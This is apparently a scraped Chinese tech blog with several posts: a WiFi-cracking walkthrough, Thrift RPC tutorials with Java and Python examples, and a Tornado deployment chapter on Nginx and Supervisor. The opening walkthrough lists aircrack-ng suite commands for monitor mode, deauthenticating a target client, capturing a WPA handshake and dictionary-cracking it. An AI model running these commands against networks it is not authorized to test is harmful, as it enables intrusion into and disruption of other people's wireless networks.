WIFI研究

系统:MAC+VM(cyborg hawk)

硬件:USB无线网卡

1ifconfig检测是否有无线网卡wlan0   iwconfig

     如果没有,运行ifconfig -a 如果有,可以通过命令ifconfig wlan0 up加载网卡

2、激活无线网卡至monitor即监听模式

    sudo airmon-ng start wlan0

3、先进行预来探测,来获取当前无线网络概况,包括APSSIDMAC地址、工作频道、无线客户端MAC及数量 (通过这个过程查看具体的无线信号(AP MAC+相关客户端MAC)

   sudo airodump-ng mon0

4、更新airodump-ngOUI

    sudo airodump-ng-oui-update

5、开启无线数据包抓包工具

   airodump-ng -c 11 –w longas wlan0

–ivs 这里的设置是通过设置过滤,不再将所有无线数据保存,而只是保存可用于破解的IVS数据报文,这样可以有效地缩减保存的数据包大小;(该参数我在测试中没有使用,添加后是否能成功不确定)

-c 这里我们设置目标AP的工作频道,通过刚才的观察,我们要进行攻击测试的无线路由器工作频道为6

-w 后跟要保存的文件名,这里w就是“write的意思,所以输入自己希望保持的文件名,如下图10所示我这里就写为longas。那么,小黑们一定要注意的是:这里我们虽然设置保存的文件名是longas,但是生成的文件却不是longase.ivs,而是longas-01.ivs

6、另外开一个命令终端 (对目标AP使用ArpRequest注入攻击)

sudo aireplay-ng -0 10 -a apMAC -c 客户端的MAC wlan0

参数-0 10攻击10次

MAC-都是在第三步获取的,(第三步开始的一瞬间可以看到 apMAC和客户MAC的对应,时间长了有时候显示不出来)

7、破解

  aircrack-ng -w ./test.txt ./longas-02.cap

  test.txt-密码字典文件

 longas-02.cap-捕获的数据包

 执行后如果能看到(1 handshark)字样,说明对应的ap可以破解,否则破解不了

(根据实际操作会不断更新)

Thrift入门1-java,python例子 (转)

参考:

http://incubator.apache.org/thrift/

http://wiki.apache.org/thrift/FrontPage

http://jnb.ociweb.com/jnb/jnbJun2009.html 非常好的入门教程

http://developers.facebook.com/thrift/thrift-20070401.pdf thrift开发者写的论文

Thrift是个啥东东?

来自wiki.apache.org/thrift/FrontPage的定义

Thrift is a software framework for scalable cross-language services development.

Thrift是为了实现跨语言服务访问的一个框架

Thrift allows you to define data types and service interfaces in a simple definition file.

Thrift定义了数据和服务的描述方式,是一种IDL

Taking that file as input, the compiler generates code to be used to easily build RPC clients and servers that communicate seamlessly across programming languages.

写一个定义文件,就可以使用thrift来生成某种语言RPC客户端和服务端程序框架。你只需要考虑如何实现你的服务就可以了。并且它支持很多种语言。

这有点像web service, 定义好一个web service服务描述文件后,可以使用如axis等工具生成服务器端或客户端的框架程序。

为什么还需要Thrift

thrift-20070401.pdf中有解释。

1、多语言开发的需要

比如其中提到的搜索服务,LAMP本身没有这个功能,开发者可能使用C++开发,php如何访问这个服务呢?于是需要有一种高效的跨语言访问的方法。

2、性能问题

web service也可以实现多语言互访问的功能,但xml文件太大,性能不行。Thrift可以使用二进值的格式。

开始测试

实现一个简单的服务,就是根据loginName得到User, user中有userId,loginName, name, password

第一步,写Thrift IDL文件 ,user.thrift,

  1. namespace java mytest.thrift.gen
  2. namespace py mytest.thrift
  3. struct User {
  4.   1: i32    userId,
  5.   2: string loginName,
  6.   3: string password,
  7.   4: string name
  8. }
  9. exception UserNotFound {
  10.   1: string message
  11. }
  12. service UserService {
  13.   User getUser(1:string loginName) throws (1:UserNotFound unf),
  14.   list<User> getUsers()
  15. }

第二步,生成java和python代码

thrift –gen java user.thrift

thrift –gen py user.thrift

第三步,实现java服务端

参见:http://wiki.apache.org/thrift/ThriftUsageJava

服务实现 UserServiceHandler.java

  1. package myserver;  
  2. import java.util.ArrayList;  
  3. import java.util.List;  
  4. import mytest.thrift.gen.User;  
  5. import mytest.thrift.gen.UserNotFound;  
  6. import mytest.thrift.gen.UserService;  
  7. import org.apache.thrift.TException;  
  8. public class UserServiceHandler implements UserService.Iface {  
  9.     @Override  
  10.     public User getUser(String loginName) throws UserNotFound, TException {  
  11.         if (!”login1″.equals(loginName)) {  
  12.             UserNotFound e = new UserNotFound(“User not Found!”);  
  13.             throw e;  
  14.         }  
  15.         User user = new User();  
  16.         user.setUserId(100);  
  17.         user.setLoginName(“login1”);  
  18.         user.setPassword(“pwd1”);  
  19.         user.setName(“user1”);  
  20.         return user;  
  21.     }  
  22.     @Override  
  23.     public List<User> getUsers() throws TException {  
  24.         List<User> list = new ArrayList<User>();  
  25.         User user = new User();  
  26.         user.setUserId(100);  
  27.         user.setLoginName(“login1”);  
  28.         user.setPassword(“pwd1”);  
  29.         user.setName(“user1”);  
  30.         list.add(user);  
  31.         User user2 = new User();  
  32.         user2.setUserId(200);  
  33.         user2.setLoginName(“login2”);  
  34.         user2.setPassword(“pwd2”);  
  35.         user2.setName(“user2”);  
  36.         list.add(user2);  
  37.         return list;  
  38.     }  
  39. }  

主程序 Server.java

  1. package myserver;  
  2. import mytest.thrift.gen.UserService;  
  3. import org.apache.thrift.server.TServer;  
  4. import org.apache.thrift.server.TSimpleServer;  
  5. import org.apache.thrift.transport.TServerSocket;  
  6. import org.apache.thrift.transport.TServerTransport;  
  7. public class Server {  
  8.     public static void main(String[] args) {  
  9.         try {  
  10.             UserServiceHandler handler = new UserServiceHandler();  
  11.             UserService.Processor processor = new UserService.Processor(handler);  
  12.             TServerTransport serverTransport = new TServerSocket(9090);  
  13.             TServer server = new TSimpleServer(processor, serverTransport);  
  14.             // Use this for a multithreaded server  
  15.             // server = new TThreadPoolServer(processor, serverTransport);  
  16.             System.out.println(“Starting the server…”);  
  17.             server.serve();  
  18.         } catch (Exception x) {  
  19.             x.printStackTrace();  
  20.         }  
  21.         System.out.println(“done.”);  
  22.     }  

第四步,实现java客户端

  1. package myclient;
  2. import java.util.Iterator;
  3. import java.util.List;
  4. import mytest.thrift.gen.User;
  5. import mytest.thrift.gen.UserNotFound;
  6. import mytest.thrift.gen.UserService;
  7. import org.apache.thrift.TException;
  8. import org.apache.thrift.protocol.TBinaryProtocol;
  9. import org.apache.thrift.protocol.TProtocol;
  10. import org.apache.thrift.transport.TSocket;
  11. import org.apache.thrift.transport.TTransport;
  12. public class Client {
  13.     public static void main(String[] args) {
  14.         try {
  15.             TTransport transport = new TSocket(“localhost”, 9090);
  16.             TProtocol protocol = new TBinaryProtocol(transport);
  17.             UserService.Client client = new UserService.Client(protocol);
  18.             transport.open();
  19.             System.out.println(“test1”);
  20.             try {
  21.                 User user1 = client.getUser(“login1”);
  22.                 System.out.println(“name=” + user1.getName());
  23.             } catch (UserNotFound e) {
  24.                 System.out.println(e.getMessage());
  25.             }
  26.             System.out.println(“test2”);
  27.             try {
  28.                 User user2 = client.getUser(“login10”);
  29.                 System.out.println(“name=” + user2.getName());
  30.             } catch (UserNotFound e) {
  31.                 System.out.println(e.getMessage());
  32.             }
  33.             System.out.println(“test3”);
  34.             List<User> list = client.getUsers();
  35.             Iterator<User> it = list.iterator();
  36.             while(it.hasNext()){
  37.                 User u = it.next();
  38.                 System.out.println(“name=” + u.getName());
  39.             }
  40.             transport.close();
  41.         } catch (TException x) {
  42.             x.printStackTrace();
  43.         }
  44.     }
  45. }
第五步,实现python客户端
  1. from mytest.thrift import UserService
  2. from mytest.thrift.ttypes import UserNotFound
  3. from thrift import Thrift
  4. from thrift.transport import TSocket
  5. from thrift.transport import TTransport
  6. from thrift.protocol import TBinaryProtocol
  7. try:
  8.     # Make socket
  9.     transport = TSocket.TSocket(‘localhost’, 9090)
  10.     # Buffering is critical. Raw sockets are very slow
  11.     transport = TTransport.TBufferedTransport(transport)
  12.     # Wrap in a protocol
  13.     protocol = TBinaryProtocol.TBinaryProtocol(transport)
  14.     # Create a client to use the protocol encoder
  15.     client = UserService.Client(protocol)
  16.     # Connect!
  17.     transport.open()
  18.     try:
  19.         user1 = client.getUser(“login1”)
  20.         print user1.name
  21.     except UserNotFound, io:
  22.         print ‘%r’ % io
  23.     # Close!
  24.     transport.close()
  25. except Thrift.TException, tx:
  26.     print ‘%s’ % (tx.message)

Thrift入门2-介绍

首先思考一下分布式系统中的 RPC (Remote Procedure Call) 问题,一个完整的 RPC 模块需要可以分为三个层次

· 服务层(service):RPC 接口定义与实现

· 协议层(protocol):RPC 报文格式和数据编码格式

· 传输层(transport):实现底层的通信(如 socket)以及系统相关的功能(如事件循环、多线程)

在实际的大型分布式系统中,不同的服务往往会使用不同的语言来实现,所以一般的 RPC 系统会提供一种跨语言的过程调用功能,比如一段用C++实现的客户端代码可以远程调用一个用 Java 实现的服务。实现跨语言 RPC 有两种方法:

· 静态代码生成:开发者用一种中间语言(IDL,接口定义语言)来定义 RPC 的接口和数据类型,然后通过一个编译器来生成不同语言的代码(如C++, Java, Python),并由生成的代码来负责 RPC 协议层和传输层的实现。例如,服务的实现用C++,则服务端需要生成实现RPC协议和传输层的C++代码,服务层使用生成的代码来实现与客户端的通信;而如果客户端用 Python,则客户端需要生成Python代码。

· 基于“自省”的动态类型系统来实现:协议和传输层可以只用一种语言实现成一个库,但是这种语言需要关联一个具备“自省”或者反射机制的动态类型系统,对外提供其他语言的绑定,客户端和服务端通过语言绑定来使用 RPC。比如,可以考虑用 C 和 GObject 实现一个 RPC 库,然后通过 GObject 实现其他语言的绑定。

第一种方法的优点是RPC的协议层和传输层的实现不需要和某种动态类型系统(如GObject)绑定在一起,同时避免了动态类型检查和转换,程序效率比较高,但是它的缺点是要为不同语言提供不同的 RPC 协议层和传输层实现。第二种方法的主要难度在于语言绑定和通用的对象串行化机制的实现,同时也需要考虑效率的问题。

Thrift 是一个基于静态代码生成的跨语言的RPC协议栈实现,它可以生成包括C++, Java, Python, Ruby, PHP 等主流语言的代码,这些代码实现了 RPC 的协议层和传输层功能,从而让用户可以集中精力于服务的调用和实现。Cassandra 的服务访问协议是基于 Thrift 来实现的。

第二节 thrift介绍

Thrift源于大名鼎鼎的facebook之手,在2007年facebook提交Apache基金会将Thrift作为一个开源项目,对于当时的facebook来说创造thrift是为了解决facebook系统中各系统间大数据量的传输通信以及系统之间语言环境不同需要跨平台的特性。所以thrift可以支持多种程序语言,例如:  C++, C#, Cocoa, Erlang, Haskell, Java, Ocami, Perl, PHP, Python, Ruby, Smalltalk. 在多种不同的语言之间通信thrift可以作为二进制的高性能的通讯中间件,支持数据(对象)序列化和多种类型的RPC服务。Thrift适用于程序对程 序静态的数据交换,需要先确定好他的数据结构,他是完全静态化的,当数据结构发生变化时,必须重新编辑IDL文件,代码生成,再编译载入的流程,跟其他IDL工具相比较可以视为是Thrift的弱项,Thrift适用于搭建大型数据交换及存储的通用工具,对于大型系统中的内部数据传输相对于JSON和xml无论在性能、传输大小上有明显的优势。

Thrift 主要由5个部分组成:

· 类型系统以及 IDL 编译器:负责由用户给定的 IDL 文件生成相应语言的接口代码

· TProtocol:实现 RPC 的协议层,可以选择多种不同的对象串行化方式,如 JSON, Binary。

· TTransport:实现 RPC 的传输层,同样可以选择不同的传输层实现,如socket, 非阻塞的 socket, MemoryBuffer 等。

· TProcessor:作为协议层和用户提供的服务实现之间的纽带,负责调用服务实现的接口。

· TServer:聚合 TProtocol, TTransport 和 TProcessor 几个对象。

上述的这5个部件都是在 Thrift 的源代码中通过为不同语言提供库来实现的,这些库的代码在 Thrift 源码目录的 lib 目录下面,在使用 Thrift 之前需要先熟悉与自己的语言对应的库提供的接口。

Thrift入门1-Mac下python服务及客户端实例

1、brew install thrift
2、pip install thrift
3、建立thrift模版文件PythonService.thrift

service PythonService{
string get(1:i32 id)
i32 remove(1:i32 id)
}

4、使用命令生成Python文件

thrift --gen py PythonService.thrift

5、将gen-py/PythonService路径下的全部文件拷贝到自己的项目路径下,比如PythonThrift\PythonService
6、Server端

# coding=utf-8
import sys
sys.path.append('../') #导入上下文环境
from PythonService import  PythonService
from thrift import Thrift
from thrift.transport import TSocket
from thrift.transport import TTransport
from thrift.protocol import TBinaryProtocol
from thrift.protocol import TCompactProtocol
from thrift.server import TServer
import socket
# 实现类
class PythonServiceServer:
     def get(self, id):
         print socket.gethostbyname(socket.gethostname())
         return "get=="+str(id)
     
     def remove(self, id):
         print socket.gethostbyname(socket.gethostname())
         return id
     
handler = PythonServiceServer()
# 注册实现类
processor = PythonService.Processor(handler)
transport = TSocket.TServerSocket('localhost',30303)
tfactory = TTransport.TBufferedTransportFactory()
# pfactory = TBinaryProtocol.TBinaryProtocolFactory()
pfactory = TCompactProtocol.TCompactProtocolFactory()

server = TServer.TSimpleServer(processor, transport, tfactory, pfactory)

print "Starting python server..."
server.serve()
print "done!" 

7、client端

# coding=utf-8
import sys
sys.path.append('../') #导入上下文环境

from servicePy import  PythonService
from thrift import Thrift
from thrift.transport import TSocket
from thrift.transport import TTransport
from thrift.protocol import TBinaryProtocol
from thrift.protocol import TCompactProtocol

def pythonServerExe():
    try:
        transport = TSocket.TSocket('localhost', 30303) 
        transport = TTransport.TBufferedTransport(transport)
        # protocol = TBinaryProtocol.TBinaryProtocol(transport)
        protocol = TCompactProtocol.TCompactProtocol(transport)
        client = PythonService.Client(protocol)
        transport.open()
        print "The return value is : " 
        print client.remove(12)
        print client.get(100)
        print "............"
        transport.close()
    except Thrift.TException, tx:
        print '%s' % (tx.message)
if __name__ == '__main__':
    pythonServerExe()

【示例下载】http://pan.baidu.com/s/1pKBf6np

Tornado(第八章:部署Tornado)

到目前为止,为了简单起见,在我们的例子中都是使用单一的Tornado进程运行的。这使得测试应用和快速变更非常简单,但是这不是一个合适的部署策略。部署一个应用到生产环境面临着新的挑战,既包括最优化性能,也包括管理独立进程。本章将介绍强化你的Tornado应用、增加请求吞吐量的策略,以及使得部署Tornado服务器更容易的工具。

8.1 运行多个Tornado实例的原因

在大多数情况下,组合一个网页不是一个特别的计算密集型处理。服务器需要解析请求,取得适当的数据,以及将多个组件组装起来进行响应。如果你的应用使用阻塞的调用查询数据库或访问文件系统,那么服务器将不会在等待调用完成时响应传入的请求。在这些情况下,服务器硬件有剩余的CPU时间来等待I/O操作完成。

鉴于响应一个HTTP请求的时间大部分都花费在CPU空闲状态下,我们希望利用这个停工时间,最大化给定时间内我们可以处理的请求数量。也就是说,我们希望服务器能够在处理已打开的请求等待数据的过程中接收尽可能多的新请求。

正如我们在第五章讨论的异步HTTP请求中所看到的,Tornado的非阻塞架构在解决这类问题上大有帮助。回想一下,异步请求允许Tornado进程在等待出站请求返回时执行传入的请求。然而,我们碰到的问题是当同步函数调用块时。设想在一个Tornado执行的数据库查询或磁盘访问块中,进程不允许回应新的请求。这个问题最简单的解决方法是运行多个解释器的实例。通常情况下,你会使用一个反向代理,比如Nginx,来非配多个Tornado实例的加载。

8.2 使用Nginx作为反向代理

一个代理服务器是一台中转客户端资源请求到适当的服务器的机器。一些网络安装使用代理服务器过滤或缓存本地网络机器到Internet的HTTP请求。因为我们将运行一些在不同TCP端口上的Tornado实例,因此我们将使用反向代理服务器:客户端通过Internet连接一个反向代理服务器,然后反向代理服务器发送请求到代理后端的Tornado服务器池中的任何一个主机。代理服务器被设置为对客户端透明的,但它会向上游的Tornado节点传递一些有用信息,比如原始客户端IP地址和TCP格式。

我们的服务器配置如图8-1所示。反向代理接收所有传入的HTTP请求,然后把它们分配给独立的Tornado实例。

图8-1图8-1 反向代理服务器后端的Tornado实例

8.2.1 Nginx基本配置

代码清单8-1中的列表是一个Nginx配置的示例。Nginx启动后监听来自80端口的连接,然后分配这些请求到配置文件中列出的上游主机。在这种情况下,我们假定上游主机监听来自他们自己的环回接口上的端口的连接。

代码清单8-1 一个简单的Nginx代理配置
user nginx;
worker_processes 5;

error_log /var/log/nginx/error.log;

pid /var/run/nginx.pid;

events {
    worker_connections 1024;
    use epoll;
}

proxy_next_upstream error;

upstream tornadoes {
    server 127.0.0.1:8000;
    server 127.0.0.1:8001;
    server 127.0.0.1:8002;
    server 127.0.0.1:8003;
}

server {
    listen 80;
    server_name www.example.org *.example.org;

    location /static/ {
        root /var/www/static;
        if ($query_string) {
            expires max;
        }
    }

    location / {
        proxy_pass_header Server;
        proxy_set_header Host $http_host;
        proxy_redirect off;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Scheme $scheme;
        proxy_pass http://tornadoes;
    }
}

这个配置示例假定你的系统使用了epoll。在不同的UNIX发行版本中经常会有轻微的不同。一些系统可能使用了poll/dev/pollkqueue代替。

按顺序来看匹配location /static/location /的请求可能会很有帮助。Nginx把位于location指令中的字符串看作是一个以行起始锚点开始、任何字母重复结束的正则表达式。所以/被看作是表达式^/.*。当Nginx匹配这些字符串时,像/static这样更加特殊的字符串在像/这样的更加的通用的字符串之前被检查。Nginx文档中详细解释了匹配的顺序。

除了一些标准样板外,这个配置文件最重要的部分是upstream指令和服务器配置中的proxy指令。Nginx服务器在80端口监听连接,然后分配这种请求给upstream服务器组中列出的Tornado实例。proxy_pass指令指定接收转发请求的服务器URI。你可以在proxy_pass URI中的主机部分引用upstream服务器组的名字。

Nginx默认以循环的方式分配请求。此外,你也可以选择基于客户端的IP地址分配请求,这种情况下(除非连接中断)可以确保来自同一IP地址的请求总是被分配到同一个上游节点。你可以在HTTPUpstreamModule文档中了解更多关于这个选项的知识。

还需要注意的是location /static/指令,它告诉Nginx直接提供静态目录的文件,而不再代理请求到Tornado。Nginx可以比Tornado更高效地提供静态文件,所以减少Tornado进程中不必要的加载是非常有意义的。

8.2.2 Nginx的SSL解密

应用的开发者在浏览器和客户端之间传输个人信息时需要特别注意保护信息不要落入坏人之手。在不安全的WiFi接入中,用户很容易受到cookie劫持攻击,从而威胁他们在流行的社交网站上的账户。对此,大部分主要的社交网络应用都默认或作为用户可配置选项使用安全协议。同时,我们使用Nginx解密传入的SSL加密请求,然后把解码后的HTTP请求分配给上游服务器。

代码清单8-2展示了一个用于解密传入的HTTPS请求的server块,并使用代码清单8-1中我们使用过的代理指令转发解密后的通信。

代码清单8-2 使用SSL的server块
server {
    listen 443;
    ssl on;
    ssl_certificate /path/to/cert.pem;
    ssl_certificate_key /path/to/cert.key;

    default_type application/octet-stream;

    location /static/ {
        root /var/www/static;
        if ($query_string) {
            expires max;
        }
    }

    location = /favicon.ico {
        rewrite (.*) /static/favicon.ico;
    }

    location / {
        proxy_pass_header Server;
        proxy_set_header Host $http_host;
        proxy_redirect off;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Scheme $scheme;
        proxy_pass http://tornadoes;
    }
}

这段代码和上面的配置非常相似,除了Nginx将在标准HTTPS的443端口监听安全Web请求外。如果你想强制使用SSL连接,你可以在server块中包含一个rewrite指令来监听80端口的HTTP连接。代码清单8-3是这种重定向的一个例子。

代码清单8-3 用于重定向HTTP请求到安全渠道的server块
server {
    listen 80;
    server_name example.com;

    rewrite /(.*) https://$http_host/$1 redirect;
}

Nginx是一个非常鲁棒的工具,我们在这里仅仅接触到帮助Tornado部署的一些简单的配置选项。Nginx的wiki文档是获得安装和配置这个强有力的工具额外信息的一个非常好的资源。

8.3 使用Supervisor监控Tornado进程

正如8.2节中埋下的伏笔,我们将在我们的Tornado应用中运行多个实例以充分利用现代的多处理器和多核服务器架构。开发团队大多传闻每个核运行一个Tornado进程。但是,正如我们所知道的,大量的传闻并不代表事实,所以你的结果可能不同。在本节中,我们将讨论在UNIX系统中管理多个Tornado实例的策略。

到目前为止,我们都是在命令行中运行Tornado服务器的,就像$ python main.py --port=8000。但是,再擦河南刮起的生产部署中,这是不可管理的。因为我们为每个CPU核心运行一个独立的Tornado进程,因此有很多进程需要监控和控制。supervisor守护进程可以帮助我们完成这个任务。

Supervisor的设计是每次开机时启动其配置文件中列出的进程。这里,我们将看到管理我们在Nginx配置文件中作为上游主机提到的四个Tornado实例的Supervisor配置。典型的supervisord.conf文件中包含了全局的配置指令,并加载conf.d目录下的其他配置文件。代码清单8-4展示了我们想启动的Tornado进程的配置文件。

代码清单8-4 tornado.conf
[group:tornadoes]
programs=tornado-8000,tornado-8001,tornado-8002,tornado-8003

[program:tornado-8000]
command=python /var/www/main.py --port=8000
directory=/var/www
user=www-data
autorestart=true
redirect_stderr=true
stdout_logfile=/var/log/tornado.log
loglevel=info

[program:tornado-8001]
command=python /var/www/main.py --port=8001
directory=/var/www
user=www-data
autorestart=true
redirect_stderr=true
stdout_logfile=/var/log/tornado.log
loglevel=info

[program:tornado-8002]
command=python /var/www/main.py --port=8002
directory=/var/www
user=www-data
autorestart=true
redirect_stderr=true
stdout_logfile=/var/log/tornado.log
loglevel=info

[program:tornado-8003]
command=python /var/www/main.py --port=8003
directory=/var/www
user=www-data
autorestart=true
redirect_stderr=true
stdout_logfile=/var/log/tornado.log
loglevel=info

为了Supervisor有意义,你需要至少包含一个program部分。在代码清单8-4中,我们定义了四个程序,分别命名为tornado-8000tornado-8003。program部分定义了Supervisor将要运行的每个命令的参数。command的值是必须的,通常是带有我们希望监听的port参数的Tornado应用。我们还为每个程序的工作目录、有效用户和日志文件定义了额外的设置;而把autorestartredirect_stderr设置为true是非常有用的。

为了一起管理所有的Tornado进程,创建一个组是很有必要的。在这个例子的顶部,我们声明了一个叫作tornadoes的组,并在其中列出了每个程序。现在,当我们想要管理我们的Tornado应用时,我们可以通过带有通配符的组名引用所有的组成程序。比如,要重启应用时,我们只需要在supervisorctl工具中使用命令restart tornadoes:*

一旦你安装和配置好Supervisor,你就可以使用supervisorctl来管理supervisord进程。为了启动你的Web应用,你可以让Supervisor重新读取配置,然后任何配置改变的程序或程序组将被重启。你同样可以手动启动、停止和重启被管理的程序或检查整个系统的状态。

supervisor> update
tornadoes: stopped
tornadoes: updated process group
supervisor> status
tornadoes:tornado-8000 RUNNING pid 32091, uptime 00:00:02
tornadoes:tornado-8001 RUNNING pid 32092, uptime 00:00:02
tornadoes:tornado-8002 RUNNING pid 32093, uptime 00:00:02
tornadoes:tornado-8003 RUNNING pid 32094, uptime 00:00:02

Supervisor和你系统的初始化进程一起工作,并且它应该在系统启动时自动注册守护进程。当supervisor启动后,程序组会自动在线。默认情况下,Supervisor会监控子进程,并在任何程序意外终止时重生。如果你想不管错误码,重启被管理的进程,你可以设置autorestarttrue

Supervisor不只可以使管理多个Tornado实例更容易,还能让你在Tornado服务器遇到意外的服务中断后重新上线时泰然处之。